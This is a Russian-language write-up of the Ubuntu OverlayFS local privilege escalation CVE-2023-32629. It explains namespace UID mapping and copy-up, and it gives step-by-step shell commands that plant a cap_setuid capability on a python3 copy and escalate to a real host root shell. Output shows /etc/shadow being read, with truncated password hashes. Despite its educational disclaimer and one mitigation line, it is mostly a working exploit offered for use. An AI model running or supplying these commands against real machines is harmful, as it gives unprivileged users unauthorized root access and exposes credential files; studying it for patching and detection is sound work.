
OverlayFS: локальное повышение привилегий — полный отчет до полной эскалации
OverlayFS Локальное повышение привилегий - Полное описание до полного повышения
Только для образовательных целей и санкционированных исследований безопасности.
Серьёзность: Высокая
Тип: Локальное повышение привилегий (LPE)
Затрагивает: Ядра Ubuntu до исправлений мая/июня 2023 года
Требование: Включены непривилегированные пространства имён пользователей (по умолчанию в Ubuntu)
CVE-2023-32629 — это уязвимость в реализации OverlayFS в ядре Linux. Она злоупотребляет взаимодействием между пространствами имён пользователей и возможностями файловой системы во время операции copy-up в OverlayFS для достижения локального повышения привилегий от любого непривилегированного пользователя до настоящего корневого пользователя хоста.
Когда вы выполняете unshare -r, ядро создаёт новое пространство имён пользователей и отображает ваш хост-UID в UID 0 внутри него:
/proc/self/uid_map:
0 1001 1 ← "UID 0 внутри пространства имён = UID 1001 (lowpriv) снаружи"
Это означает, что вы выглядите как root внутри пространства имён, но ядро хоста всегда преобразует обратно в ваш реальный UID при проверке прав доступа к файловой системе на ресурсах хоста.
OverlayFS объединяет lowerdir (только чтение) и upperdir (чтение-запись) в единое представление. Когда файл в lowerdir записывается через объединённое представление, ядро сначала копирует его в upperdir — это называется copy-up.
Критично: Copy-up выполняется самим ядром с использованием учётных данных хоста, независимо от того, какое пространство имён его запустило. Все расширенные атрибуты (xattrs), включая возможности файловой системы, сохраняются во время этой операции.
| Механизм | Требует владения root | Предоставляется |
|---|---|---|
| Бит SUID | ✅ Да | chmod u+s |
Возможности (cap_setuid) | ❌ Нет | setcap + доверенный xattr |
Это различие является основой эксплойта. Возможности учитываются ядром на основе только xattr, независимо от того, кто владеет файлом.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
Команды cp и chmod выполнялись внутри пространства имён, где UID 0 отображается на lowpriv на хосте. Таким образом:
/tmp/rootshell принадлежал lowpriv, а не реальному rootlowpriv, даёт только права lowpriv — которые у нас уже былиcp также удалила xattr возможностей из бинарного файлаunshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
Оболочка была root только внутри пространства имён. Когда она попыталась получить доступ к /etc/shadow, ядро выполнило проверку прав VFS, используя преобразованный хост-UID:
Процесс UID (внутри NS): 0 (выглядит как root)
Преобразование ядра: 0 → 1001 (lowpriv на хосте)
Права /etc/shadow: 640 root:shadow
Эффективный проверяющий UID: 1001 (lowpriv)
Результат: EACCES — Permission denied
Пузырь пространства имён никогда не прорывается к настоящему корневому пользователю хоста при обращении к файловым ресурсам хоста.
# Шаг 1: Настройка OverlayFS внутри пространства имён и выход
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch запускает copy-up ядра: l/python3 → u/python3
# ядро выполняет copy-up с учётными данными ХОСТА, сохраняя xattr cap_setuid
# Шаг 2: Проверка, что возможность сохранилась в файловой системе хоста
getcap u/python3
# u/python3 cap_setuid=eip ← доверенный xattr, установленный на ФС хоста
# Шаг 3: Запуск ВНЕ пространства имён
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap внутри пространства имён пользователей
│
│ записывает cap_setuid как доверенный xattr на l/python3
▼
2. touch m/python3 → запущен copy-up OverlayFS
│
│ ядро копирует l/ → u/ с использованием учётных данных ХОСТА
│ ВСЕ xattr сохраняются, включая cap_setuid
▼
3. u/python3 существует в файловой системе хоста
│
│ владелец: lowpriv (неважно для возможностей)
│ xattr: cap_setuid=eip (ядро доверяет этому)
▼
4. Запуск u/python3 ВНЕ пространства имён
│
│ отображение UID не действует
│ ядро читает cap_setuid=eip как возможность на уровне хоста
│ os.setuid(0) → настоящий корневой пользователь хоста
▼
5. Оболочка имеет подлинный UID 0
│
│ проверки VFS проходят как реальный root
└─ /etc/shadow доступен для чтения
Ядро не должно учитывать доверенные xattr возможностей, которые были установлены из пространства имён пользователей во время copy-up, потому что эти xattr несут доверие на уровне хоста. Неспособность обеспечить соблюдение этой границы является ошибкой.
Пространство имён дало нам возможность установить доверенную возможность на файл; copy-up ядра переправил эту возможность в файловую систему хоста; запуск вне пространства имён сделал её реальной.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs от непривилегированных пользователейЭтот инструмент предоставлен только для образовательных целей и санкционированного тестирования безопасности. Несанкционированное использование против систем, которые вам не принадлежат или на которые у вас нет явного письменного разрешения на тестирование, является незаконным. Автор не несёт ответственности за любое неправомерное использование.
| Внутри пространства имён | Снаружи пространства имён |
|---|
| UID 0 означает | lowpriv (отображён) | настоящий root |
Эффект setuid(0) | бездействие (уже NS-root) | реальное повышение |
| Доступ к ФС хоста | преобразован → lowpriv | полный root |
cap_setuid учитывается | только внутри NS | да, на уровне хоста |